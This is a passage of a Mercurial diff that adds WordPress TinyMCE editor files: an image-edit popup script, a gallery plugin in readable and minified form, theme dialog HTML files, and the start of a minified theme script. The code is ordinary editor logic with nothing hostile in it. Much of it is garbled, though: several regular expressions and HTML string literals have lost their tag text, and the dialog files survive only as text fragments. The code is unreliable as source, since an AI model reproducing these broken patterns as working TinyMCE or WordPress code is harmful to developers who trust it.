'alt'); + f.border.value = ed.dom.getAttrib(el, 'border'); + f.vspace.value = ed.dom.getAttrib(el, 'vspace'); + f.hspace.value = ed.dom.getAttrib(el, 'hspace'); + f.align.value = ed.dom.getAttrib(el, 'align'); + f.width.value = t.width = ed.dom.getAttrib(el, 'width'); + f.height.value = t.height = ed.dom.getAttrib(el, 'height'); + f.img_classes.value = c; + f.img_style.value = ed.dom.getAttrib(el, 'style'); + + // Move attribs to styles + if (dom.getAttrib(el, 'hspace')) + t.updateStyle('hspace'); + + if (dom.getAttrib(el, 'border')) + t.updateStyle('border'); + + if (dom.getAttrib(el, 'vspace')) + t.updateStyle('vspace'); + + if (pa = ed.dom.getParent(el, 'A')) { + f.link_href.value = t.current = ed.dom.getAttrib(pa, 'href'); + f.link_title.value = ed.dom.getAttrib(pa, 'title'); + f.link_rel.value = t.link_rel = ed.dom.getAttrib(pa, 'rel'); + f.link_style.value = ed.dom.getAttrib(pa, 'style'); + t.target_value = ed.dom.getAttrib(pa, 'target'); + f.link_classes.value = ed.dom.getAttrib(pa, 'class'); + } + + f.link_target.checked = ( t.target_value && t.target_value == '_blank' ) ? 'checked' : ''; + + fname = link.substring( link.lastIndexOf('/') ); + fname = fname.replace(/-[0-9]{2,4}x[0-9]{2,4}/, '' ); + t.link = link.substring( 0, link.lastIndexOf('/') ) + fname; + + if ( c.indexOf('alignleft') != -1 ) { + t.I('alignleft').checked = "checked"; + d.className = t.align = "alignleft"; + } else if ( c.indexOf('aligncenter') != -1 ) { + t.I('aligncenter').checked = "checked"; + d.className = t.align = "aligncenter"; + } else if ( c.indexOf('alignright') != -1 ) { + t.I('alignright').checked = "checked"; + d.className = t.align = "alignright"; + } else if ( c.indexOf('alignnone') != -1 ) { + t.I('alignnone').checked = "checked"; + d.className = t.align = "alignnone"; + } + + if ( t.width && t.preloadImg.width ) t.showSizeSet(); + document.body.style.display = ''; + }, + + remove : function() { + var ed = tinyMCEPopup.editor, p, el; + + tinyMCEPopup.restoreSelection(); + el = ed.selection.getNode(); + if (el.nodeName != 'IMG') return; + + if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') ) + ed.dom.remove(p); + else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 ) + ed.dom.remove(p); + else ed.dom.remove(el); + + ed.execCommand('mceRepaint'); + tinyMCEPopup.close(); + return; + }, + + update : function() { + var t = this, f = document.forms[0], ed = tinyMCEPopup.editor, el, b, fixSafari = null, DL, P, A, DIV, do_caption = null, img_class = f.img_classes.value, html; + + tinyMCEPopup.restoreSelection(); + el = ed.selection.getNode(); + + if (el.nodeName != 'IMG') return; + if (f.img_src.value === '') { + t.remove(); + return; + } + + if ( f.img_cap.value != '' && f.width.value != '' ) { + do_caption = 1; + img_class = img_class.replace( /align[^ "']+\s?/gi, '' ); + } + + A = ed.dom.getParent(el, 'a'); + P = ed.dom.getParent(el, 'p'); + DL = ed.dom.getParent(el, 'dl'); + DIV = ed.dom.getParent(el, 'div'); + + tinyMCEPopup.execCommand("mceBeginUndoLevel"); + + ed.dom.setAttribs(el, { + src : f.img_src.value, + title : f.img_title.value, + alt : f.img_alt.value, + width : f.width.value, + height : f.height.value, + style : f.img_style.value, + 'class' : img_class + }); + + if ( f.link_href.value ) { + // Create new anchor elements + if ( A == null ) { + if ( ! f.link_href.value.match(/https?:\/\//i) ) + f.link_href.value = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.link_href.value); + + if ( tinymce.isWebKit && ed.dom.hasClass(el, 'aligncenter') ) { + ed.dom.removeClass(el, 'aligncenter'); + fixSafari = 1; + } + + tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1}); + if ( fixSafari ) ed.dom.addClass(el, 'aligncenter'); + + tinymce.each(ed.dom.select("a"), function(n) { + if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') { + + ed.dom.setAttribs(n, { + href : f.link_href.value, + title : f.link_title.value, + rel : f.link_rel.value, + target : (f.link_target.checked == true) ? '_blank' : '', + 'class' : f.link_classes.value, + style : f.link_style.value + }); + } + }); + } else { + ed.dom.setAttribs(A, { + href : f.link_href.value, + title : f.link_title.value, + rel : f.link_rel.value, + target : (f.link_target.checked == true) ? '_blank' : '', + 'class' : f.link_classes.value, + style : f.link_style.value + }); + } + } + + if ( do_caption ) { + var id, cap_id = '', cap, DT, DD, cap_width = 10 + parseInt(f.width.value), align = t.align.substring(5), div_cls = (t.align == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp'; + + if ( DL ) { + ed.dom.setAttribs(DL, { + 'class' : 'wp-caption '+t.align, + style : 'width: '+cap_width+'px;' + }); + + if ( DIV ) + ed.dom.setAttrib(DIV, 'class', div_cls); + + if ( (DT = ed.dom.getParent(el, 'dt')) && (DD = DT.nextSibling) && ed.dom.hasClass(DD, 'wp-caption-dd') ) + ed.dom.setHTML(DD, f.img_cap.value); + + } else { + var lnk = '', pa; + if ( (id = f.img_classes.value.match( /wp-image-([0-9]{1,6})/ )) && id[1] ) + cap_id = 'attachment_'+id[1]; + + if ( f.link_href.value && (lnk = ed.dom.getParent(el, 'a')) ) { + if ( lnk.childNodes.length == 1 ) + html = ed.dom.getOuterHTML(lnk); + else { + html = ed.dom.getOuterHTML(lnk); + html = html.match(/]+>/i); + html = html+ed.dom.getOuterHTML(el)+''; + } + } else html = ed.dom.getOuterHTML(el); + + html = '
    '+html+'
    '+f.img_cap.value+'
    '; + + cap = ed.dom.create('div', {'class': div_cls}, html); + + if ( P ) { + P.parentNode.insertBefore(cap, P); + if ( P.childNodes.length == 1 ) + ed.dom.remove(P); + else if ( lnk && lnk.childNodes.length == 1 ) + ed.dom.remove(lnk); + else ed.dom.remove(el); + } else if ( pa = ed.dom.getParent(el, 'TD,TH,LI') ) { + pa.appendChild(cap); + if ( lnk && lnk.childNodes.length == 1 ) + ed.dom.remove(lnk); + else ed.dom.remove(el); + } + } + + } else { + if ( DL && DIV ) { + var aa; + if ( f.link_href.value && (aa = ed.dom.getParent(el, 'a')) ) html = ed.dom.getOuterHTML(aa); + else html = ed.dom.getOuterHTML(el); + + P = ed.dom.create('p', {}, html); + DIV.parentNode.insertBefore(P, DIV); + ed.dom.remove(DIV); + } + } + + if ( f.img_classes.value.indexOf('aligncenter') != -1 ) { + if ( P && ( ! P.style || P.style.textAlign != 'center' ) ) + ed.dom.setStyle(P, 'textAlign', 'center'); + } else { + if ( P && P.style && P.style.textAlign == 'center' ) + ed.dom.setStyle(P, 'textAlign', ''); + } + + if ( ! f.link_href.value && A ) { + b = ed.selection.getBookmark(); + ed.dom.remove(A, 1); + ed.selection.moveToBookmark(b); + } + + tinyMCEPopup.execCommand("mceEndUndoLevel"); + ed.execCommand('mceRepaint'); + tinyMCEPopup.close(); + }, + + updateStyle : function(ty) { + var dom = tinyMCEPopup.dom, st, v, f = document.forms[0], img = dom.create('img', {style : f.img_style.value}); + + if (tinyMCEPopup.editor.settings.inline_styles) { + // Handle align + if (ty == 'align') { + dom.setStyle(img, 'float', ''); + dom.setStyle(img, 'vertical-align', ''); + + v = f.align.value; + if (v) { + if (v == 'left' || v == 'right') + dom.setStyle(img, 'float', v); + else + img.style.verticalAlign = v; + } + } + + // Handle border + if (ty == 'border') { + dom.setStyle(img, 'border', ''); + + v = f.border.value; + if (v || v == '0') { + if (v == '0') + img.style.border = '0'; + else + img.style.border = v + 'px solid black'; + } + } + + // Handle hspace + if (ty == 'hspace') { + dom.setStyle(img, 'marginLeft', ''); + dom.setStyle(img, 'marginRight', ''); + + v = f.hspace.value; + if (v) { + img.style.marginLeft = v + 'px'; + img.style.marginRight = v + 'px'; + } + } + + // Handle vspace + if (ty == 'vspace') { + dom.setStyle(img, 'marginTop', ''); + dom.setStyle(img, 'marginBottom', ''); + + v = f.vspace.value; + if (v) { + img.style.marginTop = v + 'px'; + img.style.marginBottom = v + 'px'; + } + } + + // Merge + f.img_style.value = dom.serializeStyle(dom.parseStyle(img.style.cssText)); + this.demoSetStyle(); + } + }, + + checkVal : function(f) { + + if ( f.value == '' ) { + // if ( f.id == 'width' ) f.value = this.width || this.preloadImg.width; + // if ( f.id == 'height' ) f.value = this.height || this.preloadImg.height; + if ( f.id == 'img_src' ) f.value = this.I('img_demo').src || this.preloadImg.src; + } + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.width.value = f.height.value = ''; + }, + + updateImageData : function() { + var f = document.forms[0], t = wpImage; + + if ( f.width.value == '' || f.height.value == '' ) { + f.width.value = t.width = t.preloadImg.width; + f.height.value = t.height = t.preloadImg.height; + } + + t.showSizeSet(); + t.demoSetSize(); + if ( f.img_style.value ) + t.demoSetStyle(); + }, + + getImageData : function() { + var t = wpImage, f = document.forms[0]; + + t.preloadImg = new Image(); + t.preloadImg.onload = t.updateImageData; + t.preloadImg.onerror = t.resetImageData; + t.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.img_src.value); + } +}; + +window.onload = function(){wpImage.init();} +wpImage.preInit(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ + +(function() { + tinymce.create('tinymce.plugins.wpGallery', { + + init : function(ed, url) { + var t = this; + + t.url = url; + t._createButtons(); + + // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...'); + ed.addCommand('WP_Gallery', function() { + var el = ed.selection.getNode(), post_id, vp = tinymce.DOM.getViewPort(), + H = vp.h - 80, W = ( 640 < vp.w ) ? 640 : vp.w; + + if ( el.nodeName != 'IMG' ) return; + if ( ed.dom.getAttrib(el, 'class').indexOf('wpGallery') == -1 ) return; + + post_id = tinymce.DOM.get('post_ID').value; + tb_show('', tinymce.documentBaseURL + '/media-upload.php?post_id='+post_id+'&tab=gallery&TB_iframe=true&width='+W+'&height='+H); + + tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' ); + }); + + ed.onMouseDown.add(function(ed, e) { + if ( e.target.nodeName == 'IMG' && ed.dom.hasClass(e.target, 'wpGallery') ) + ed.plugins.wordpress._showButtons(e.target, 'wp_gallerybtns'); + }); + + ed.onBeforeSetContent.add(function(ed, o) { + o.content = t._do_gallery(o.content); + }); + + ed.onPostProcess.add(function(ed, o) { + if (o.get) + o.content = t._get_gallery(o.content); + }); + }, + + _do_gallery : function(co) { + return co.replace(/\[gallery([^\]]*)\]/g, function(a,b){ + return ''; + }); + }, + + _get_gallery : function(co) { + + function getAttr(s, n) { + n = new RegExp(n + '=\"([^\"]+)\"', 'g').exec(s); + return n ? tinymce.DOM.decode(n[1]) : ''; + }; + + return co.replace(/(?:]*>)*(]+>)(?:<\/p>)*/g, function(a,im) { + var cls = getAttr(im, 'class'); + + if ( cls.indexOf('wpGallery') != -1 ) + return '

    ['+tinymce.trim(getAttr(im, 'title'))+']

    '; + + return a; + }); + }, + + _createButtons : function() { + var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM, editButton, dellButton; + + DOM.remove('wp_gallerybtns'); + + DOM.add(document.body, 'div', { + id : 'wp_gallerybtns', + style : 'display:none;' + }); + + editButton = DOM.add('wp_gallerybtns', 'img', { + src : t.url+'/img/edit.png', + id : 'wp_editgallery', + width : '24', + height : '24', + title : ed.getLang('wordpress.editgallery') + }); + + tinymce.dom.Event.add(editButton, 'mousedown', function(e) { + var ed = tinyMCE.activeEditor; + ed.windowManager.bookmark = ed.selection.getBookmark('simple'); + ed.execCommand("WP_Gallery"); + }); + + dellButton = DOM.add('wp_gallerybtns', 'img', { + src : t.url+'/img/delete.png', + id : 'wp_delgallery', + width : '24', + height : '24', + title : ed.getLang('wordpress.delgallery') + }); + + tinymce.dom.Event.add(dellButton, 'mousedown', function(e) { + var ed = tinyMCE.activeEditor, el = ed.selection.getNode(); + + if ( el.nodeName == 'IMG' && ed.dom.hasClass(el, 'wpGallery') ) { + ed.dom.remove(el); + + ed.execCommand('mceRepaint'); + return false; + } + }); + }, + + getInfo : function() { + return { + longname : 'Gallery Settings', + author : 'WordPress', + authorurl : 'http://wordpress.org', + infourl : '', + version : "1.0" + }; + } + }); + + tinymce.PluginManager.add('wpgallery', tinymce.plugins.wpGallery); +})(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(){tinymce.create("tinymce.plugins.wpGallery",{init:function(a,b){var c=this;c.url=b;c._createButtons();a.addCommand("WP_Gallery",function(){var h=a.selection.getNode(),f,e=tinymce.DOM.getViewPort(),g=e.h-80,d=(640'})},_get_gallery:function(b){function a(c,d){d=new RegExp(d+'="([^"]+)"',"g").exec(c);return d?tinymce.DOM.decode(d[1]):""}return b.replace(/(?:]*>)*(]+>)(?:<\/p>)*/g,function(e,d){var c=a(d,"class");if(c.indexOf("wpGallery")!=-1){return"

    ["+tinymce.trim(a(d,"title"))+"]

    "}return e})},_createButtons:function(){var b=this,a=tinyMCE.activeEditor,d=tinymce.DOM,e,c;d.remove("wp_gallerybtns");d.add(document.body,"div",{id:"wp_gallerybtns",style:"display:none;"});e=d.add("wp_gallerybtns","img",{src:b.url+"/img/edit.png",id:"wp_editgallery",width:"24",height:"24",title:a.getLang("wordpress.editgallery")});tinymce.dom.Event.add(e,"mousedown",function(g){var f=tinyMCE.activeEditor;f.windowManager.bookmark=f.selection.getBookmark("simple");f.execCommand("WP_Gallery")});c=d.add("wp_gallerybtns","img",{src:b.url+"/img/delete.png",id:"wp_delgallery",width:"24",height:"24",title:a.getLang("wordpress.delgallery")});tinymce.dom.Event.add(c,"mousedown",function(h){var f=tinyMCE.activeEditor,g=f.selection.getNode();if(g.nodeName=="IMG"&&f.dom.hasClass(g,"wpGallery")){f.dom.remove(g);f.execCommand("mceRepaint");return false}})},getInfo:function(){return{longname:"Gallery Settings",author:"WordPress",authorurl:"http://wordpress.org",infourl:"",version:"1.0"}}});tinymce.PluginManager.add("wpgallery",tinymce.plugins.wpGallery)})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpgallery/img/delete.png Binary file web/wp-includes/js/tinymce/plugins/wpgallery/img/delete.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpgallery/img/edit.png Binary file web/wp-includes/js/tinymce/plugins/wpgallery/img/edit.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpgallery/img/gallery.png Binary file web/wp-includes/js/tinymce/plugins/wpgallery/img/gallery.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/wpgallery/img/t.gif Binary file web/wp-includes/js/tinymce/plugins/wpgallery/img/t.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/about.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/about.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,56 @@ + + + + {#advanced_dlg.about_title} + + + + + + + +
    +
    +

    {#advanced_dlg.about_title}

    +

    Version: ()

    +

    TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under LGPL + by Moxiecode Systems AB. It has the ability to convert HTML TEXTAREA fields or other HTML elements to editor instances.

    +

    Copyright © 2003-2008, Moxiecode Systems AB, All rights reserved.

    +

    For more information about this software visit the TinyMCE website.

    + +
    + Got Moxie? + Hosted By Sourceforge + Also on freshmeat +
    +
    + +
    +
    +

    {#advanced_dlg.about_loaded}

    + +
    +
    + +

     

    +
    +
    + +
    +
    +
    +
    + +
    +
    + +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/anchor.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/anchor.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,31 @@ + + + + {#advanced_dlg.anchor_title} + + + + +
    + + + + + + + + +
    {#advanced_dlg.anchor_title}
    {#advanced_dlg.anchor_name}:
    + +
    +
    + +
    + +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/charmap.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/charmap.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,53 @@ + + + + {#advanced_dlg.charmap_title} + + + + + + + + + + + + + + + + +
    {#advanced_dlg.charmap_title}
    + + + + + + + + + +
     
     
    +
    + + + + + + + + + + + + + + + + +
    HTML-Code
     
     
    NUM-Code
     
    +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/color_picker.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/color_picker.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,75 @@ + + + + {#advanced_dlg.colorpicker_title} + + + + + +
    + + +
    +
    +
    + {#advanced_dlg.colorpicker_picker_title} +
    + + +
    + +
    + +
    +
    +
    +
    + +
    +
    + {#advanced_dlg.colorpicker_palette_title} +
    + +
    + +
    +
    +
    + +
    +
    + {#advanced_dlg.colorpicker_named_title} +
    + +
    + +
    + +
    + {#advanced_dlg.colorpicker_name} +
    +
    +
    +
    + +
    +
    + +
    + +
    + +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/editor_template.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/editor_template.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(e){var d=e.DOM,b=e.dom.Event,h=e.extend,f=e.each,a=e.util.Cookie,g,c=e.explode;e.ThemeManager.requireLangPack("advanced");e.create("tinymce.themes.AdvancedTheme",{sizes:[8,10,12,14,18,24,36],controls:{bold:["bold_desc","Bold"],italic:["italic_desc","Italic"],underline:["underline_desc","Underline"],strikethrough:["striketrough_desc","Strikethrough"],justifyleft:["justifyleft_desc","JustifyLeft"],justifycenter:["justifycenter_desc","JustifyCenter"],justifyright:["justifyright_desc","JustifyRight"],justifyfull:["justifyfull_desc","JustifyFull"],bullist:["bullist_desc","InsertUnorderedList"],numlist:["numlist_desc","InsertOrderedList"],outdent:["outdent_desc","Outdent"],indent:["indent_desc","Indent"],cut:["cut_desc","Cut"],copy:["copy_desc","Copy"],paste:["paste_desc","Paste"],undo:["undo_desc","Undo"],redo:["redo_desc","Redo"],link:["link_desc","mceLink"],unlink:["unlink_desc","unlink"],image:["image_desc","mceImage"],cleanup:["cleanup_desc","mceCleanup"],help:["help_desc","mceHelp"],code:["code_desc","mceCodeEditor"],hr:["hr_desc","InsertHorizontalRule"],removeformat:["removeformat_desc","RemoveFormat"],sub:["sub_desc","subscript"],sup:["sup_desc","superscript"],forecolor:["forecolor_desc","ForeColor"],forecolorpicker:["forecolor_desc","mceForeColor"],backcolor:["backcolor_desc","HiliteColor"],backcolorpicker:["backcolor_desc","mceBackColor"],charmap:["charmap_desc","mceCharMap"],visualaid:["visualaid_desc","mceToggleVisualAid"],anchor:["anchor_desc","mceInsertAnchor"],newdocument:["newdocument_desc","mceNewDocument"],blockquote:["blockquote_desc","mceBlockQuote"]},stateControls:["bold","italic","underline","strikethrough","bullist","numlist","justifyleft","justifycenter","justifyright","justifyfull","sub","sup","blockquote"],init:function(j,k){var l=this,m,i,n;l.editor=j;l.url=k;l.onResolveName=new e.util.Dispatcher(this);l.settings=m=h({theme_advanced_path:true,theme_advanced_toolbar_location:"bottom",theme_advanced_buttons1:"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect",theme_advanced_buttons2:"bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code",theme_advanced_buttons3:"hr,removeformat,visualaid,|,sub,sup,|,charmap",theme_advanced_blockformats:"p,address,pre,h1,h2,h3,h4,h5,h6",theme_advanced_toolbar_align:"center",theme_advanced_fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",theme_advanced_more_colors:1,theme_advanced_row_height:23,theme_advanced_resize_horizontal:1,theme_advanced_resizing_use_cookie:1,theme_advanced_font_sizes:"1,2,3,4,5,6,7",readonly:j.settings.readonly},j.settings);if(!m.font_size_style_values){m.font_size_style_values="8pt,10pt,12pt,14pt,18pt,24pt,36pt"}if(e.is(m.theme_advanced_font_sizes,"string")){m.font_size_style_values=e.explode(m.font_size_style_values);m.font_size_classes=e.explode(m.font_size_classes||"");n={};j.settings.theme_advanced_font_sizes=m.theme_advanced_font_sizes;f(j.getParam("theme_advanced_font_sizes","","hash"),function(q,p){var o;if(p==q&&q>=1&&q<=7){p=q+" ("+l.sizes[q-1]+"pt)";if(j.settings.convert_fonts_to_spans){o=m.font_size_classes[q-1];q=m.font_size_style_values[q-1]||(l.sizes[q-1]+"pt")}}if(/^\s*\./.test(q)){o=q.replace(/\./g,"")}n[p]=o?{"class":o}:{fontSize:q}});m.theme_advanced_font_sizes=n}if((i=m.theme_advanced_path_location)&&i!="none"){m.theme_advanced_statusbar_location=m.theme_advanced_path_location}if(m.theme_advanced_statusbar_location=="none"){m.theme_advanced_statusbar_location=0}j.onInit.add(function(){j.onNodeChange.add(l._nodeChanged,l);if(j.settings.content_css!==false){j.dom.loadCSS(j.baseURI.toAbsolute("themes/advanced/skins/"+j.settings.skin+"/content.css"))}});j.onSetProgressState.add(function(q,o,r){var s,t=q.id,p;if(o){l.progressTimer=setTimeout(function(){s=q.getContainer();s=s.insertBefore(d.create("DIV",{style:"position:relative"}),s.firstChild);p=d.get(q.id+"_tbl");d.add(s,"div",{id:t+"_blocker","class":"mceBlocker",style:{width:p.clientWidth+2,height:p.clientHeight+2}});d.add(s,"div",{id:t+"_progress","class":"mceProgress",style:{left:p.clientWidth/2,top:p.clientHeight/2}})},r||0)}else{d.remove(t+"_blocker");d.remove(t+"_progress");clearTimeout(l.progressTimer)}});d.loadCSS(m.editor_css?j.documentBaseURI.toAbsolute(m.editor_css):k+"/skins/"+j.settings.skin+"/ui.css");if(m.skin_variant){d.loadCSS(k+"/skins/"+j.settings.skin+"/ui_"+m.skin_variant+".css")}},createControl:function(l,i){var j,k;if(k=i.createControl(l)){return k}switch(l){case"styleselect":return this._createStyleSelect();case"formatselect":return this._createBlockFormats();case"fontselect":return this._createFontSelect();case"fontsizeselect":return this._createFontSizeSelect();case"forecolor":return this._createForeColorMenu();case"backcolor":return this._createBackColorMenu()}if((j=this.controls[l])){return i.createButton(l,{title:"advanced."+j[0],cmd:j[1],ui:j[2],value:j[3]})}},execCommand:function(k,j,l){var i=this["_"+k];if(i){i.call(this,j,l);return true}return false},_importClasses:function(j){var i=this.editor,k=i.controlManager.get("styleselect");if(k.getLength()==0){f(i.dom.getClasses(),function(l){k.add(l["class"],l["class"])})}},_createStyleSelect:function(m){var j=this,i=j.editor,k=i.controlManager,l=k.createListBox("styleselect",{title:"advanced.style_select",onselect:function(n){if(l.selectedValue===n){i.execCommand("mceSetStyleInfo",0,{command:"removeformat"});l.select();return false}else{i.execCommand("mceSetCSSClass",0,n)}}});if(l){f(i.getParam("theme_advanced_styles","","hash"),function(o,n){if(o){l.add(j.editor.translate(n),o)}});l.onPostRender.add(function(o,p){if(!l.NativeListBox){b.add(p.id+"_text","focus",j._importClasses,j);b.add(p.id+"_text","mousedown",j._importClasses,j);b.add(p.id+"_open","focus",j._importClasses,j);b.add(p.id+"_open","mousedown",j._importClasses,j)}else{b.add(p.id,"focus",j._importClasses,j)}})}return l},_createFontSelect:function(){var k,j=this,i=j.editor;k=i.controlManager.createListBox("fontselect",{title:"advanced.fontdefault",cmd:"FontName"});if(k){f(i.getParam("theme_advanced_fonts",j.settings.theme_advanced_fonts,"hash"),function(m,l){k.add(i.translate(l),m,{style:m.indexOf("dings")==-1?"font-family:"+m:""})})}return k},_createFontSizeSelect:function(){var m=this,k=m.editor,n,l=0,j=[];n=k.controlManager.createListBox("fontsizeselect",{title:"advanced.font_size",onselect:function(i){if(i.fontSize){k.execCommand("FontSize",false,i.fontSize)}else{f(m.settings.theme_advanced_font_sizes,function(p,o){if(p["class"]){j.push(p["class"])}});k.editorCommands._applyInlineStyle("span",{"class":i["class"]},{check_classes:j})}}});if(n){f(m.settings.theme_advanced_font_sizes,function(o,i){var p=o.fontSize;if(p>=1&&p<=7){p=m.sizes[parseInt(p)-1]+"pt"}n.add(i,o,{style:"font-size:"+p,"class":"mceFontSize"+(l++)+(" "+(o["class"]||""))})})}return n},_createBlockFormats:function(){var k,i={p:"advanced.paragraph",address:"advanced.address",pre:"advanced.pre",h1:"advanced.h1",h2:"advanced.h2",h3:"advanced.h3",h4:"advanced.h4",h5:"advanced.h5",h6:"advanced.h6",div:"advanced.div",blockquote:"advanced.blockquote",code:"advanced.code",dt:"advanced.dt",dd:"advanced.dd",samp:"advanced.samp"},j=this;k=j.editor.controlManager.createListBox("formatselect",{title:"advanced.block",cmd:"FormatBlock"});if(k){f(j.editor.getParam("theme_advanced_blockformats",j.settings.theme_advanced_blockformats,"hash"),function(m,l){k.add(j.editor.translate(l!=m?l:i[m]),m,{"class":"mce_formatPreview mce_"+m})})}return k},_createForeColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_text_colors){l.colors=i}if(k.theme_advanced_default_foreground_color){l.default_color=k.theme_advanced_default_foreground_color}l.title="advanced.forecolor_desc";l.cmd="ForeColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("forecolor",l);return m},_createBackColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_background_colors){l.colors=i}if(k.theme_advanced_default_background_color){l.default_color=k.theme_advanced_default_background_color}l.title="advanced.backcolor_desc";l.cmd="HiliteColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("backcolor",l);return m},renderUI:function(k){var m,l,q,v=this,r=v.editor,w=v.settings,u,j,i;m=j=d.create("span",{id:r.id+"_parent","class":"mceEditor "+r.settings.skin+"Skin"+(w.skin_variant?" "+r.settings.skin+"Skin"+v._ufirst(w.skin_variant):"")});if(!d.boxModel){m=d.add(m,"div",{"class":"mceOldBoxModel"})}m=u=d.add(m,"table",{id:r.id+"_tbl","class":"mceLayout",cellSpacing:0,cellPadding:0});m=q=d.add(m,"tbody");switch((w.theme_advanced_layout_manager||"").toLowerCase()){case"rowlayout":l=v._rowLayout(w,q,k);break;case"customlayout":l=r.execCallback("theme_advanced_custom_layout",w,q,k,j);break;default:l=v._simpleLayout(w,q,k,j)}m=k.targetNode;i=d.stdMode?u.getElementsByTagName("tr"):u.rows;d.addClass(i[0],"mceFirst");d.addClass(i[i.length-1],"mceLast");f(d.select("tr",q),function(o){d.addClass(o.firstChild,"mceFirst");d.addClass(o.childNodes[o.childNodes.length-1],"mceLast")});if(d.get(w.theme_advanced_toolbar_container)){d.get(w.theme_advanced_toolbar_container).appendChild(j)}else{d.insertAfter(j,m)}b.add(r.id+"_path_row","click",function(n){n=n.target;if(n.nodeName=="A"){v._sel(n.className.replace(/^.*mcePath_([0-9]+).*$/,"$1"));return b.cancel(n)}});if(!r.getParam("accessibility_focus")){b.add(d.add(j,"a",{href:"#"},""),"focus",function(){tinyMCE.get(r.id).focus()})}if(w.theme_advanced_toolbar_location=="external"){k.deltaHeight=0}v.deltaHeight=k.deltaHeight;k.targetNode=null;return{iframeContainer:l,editorContainer:r.id+"_parent",sizeContainer:u,deltaHeight:k.deltaHeight}},getInfo:function(){return{longname:"Advanced theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:e.majorVersion+"."+e.minorVersion}},resizeBy:function(i,j){var k=d.get(this.editor.id+"_tbl");this.resizeTo(k.clientWidth+i,k.clientHeight+j)},resizeTo:function(i,l){var j=this.editor,k=j.settings,n=d.get(j.id+"_tbl"),o=d.get(j.id+"_ifr"),m;i=Math.max(k.theme_advanced_resizing_min_width||100,i);l=Math.max(k.theme_advanced_resizing_min_height||100,l);i=Math.min(k.theme_advanced_resizing_max_width||65535,i);l=Math.min(k.theme_advanced_resizing_max_height||65535,l);m=n.clientHeight-o.clientHeight;d.setStyle(o,"height",l-m);d.setStyles(n,{width:i,height:l})},destroy:function(){var 